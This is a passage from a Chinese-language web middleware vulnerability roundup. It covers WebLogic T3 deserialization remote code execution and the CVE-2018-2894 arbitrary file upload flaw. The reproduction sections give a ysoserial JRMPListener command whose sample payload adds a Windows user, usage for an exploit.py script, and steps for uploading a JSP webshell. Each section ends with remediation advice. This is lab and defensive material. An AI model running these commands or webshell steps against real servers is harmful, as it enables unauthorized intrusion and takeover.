攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

2.漏洞复现

使用vulfocus在vulhub本地靶场

使用exploit的python利用脚本

使用ysoserial构造反序列化

1.使用ysoserial.jar,启动JRMP Server(ports是要监听的端口,command是要执行的命令)

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener port CommonsCollections1 command

如:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

2.执行exploit.py

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

如:

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

 结果如下:

3.修复建议

1.过滤t3协议。

在域结构中点击 安全->筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启Weblogic.

2.安装补丁。

四、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1.漏洞概述

1.1影响版本

10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

1.2漏洞原理

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,攻击者可通过访问此配置页面,用有效的WebLogic Web路径替换存储JKS Keystores的文件目录,然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制

2.漏洞复现

使用vulfocus在线靶场

访问 ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录(访问这个目录是无需权限的)

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

  

然后点击 ‘安全’ -> ‘添加’ ,然后上传jsp木马

点击提交并抓包,获取响应数据包中的时间戳

然后访问 http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell 

3.修复建议

启动生产模式, 编辑domain路径下的setDomainEnv.cmd文件,将set PRODUCTION_MODE= 更改为 set PRODUCTION_MODE=true 目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。

以上是关于中间件漏洞汇总的主要内容,如果未能解决你的问题,请参考以下文章

中间件漏洞 | IIS常用漏洞攻击利用汇总

WEB中间件及常见安全漏洞原理汇聚

应用安全 - 平台 | 工具 - Centreon Web - 漏洞 - 汇总

中间件漏洞及修复汇总

Web安全:中间件漏洞

应用安全 - Web框架 - Apache Flink - 漏洞汇总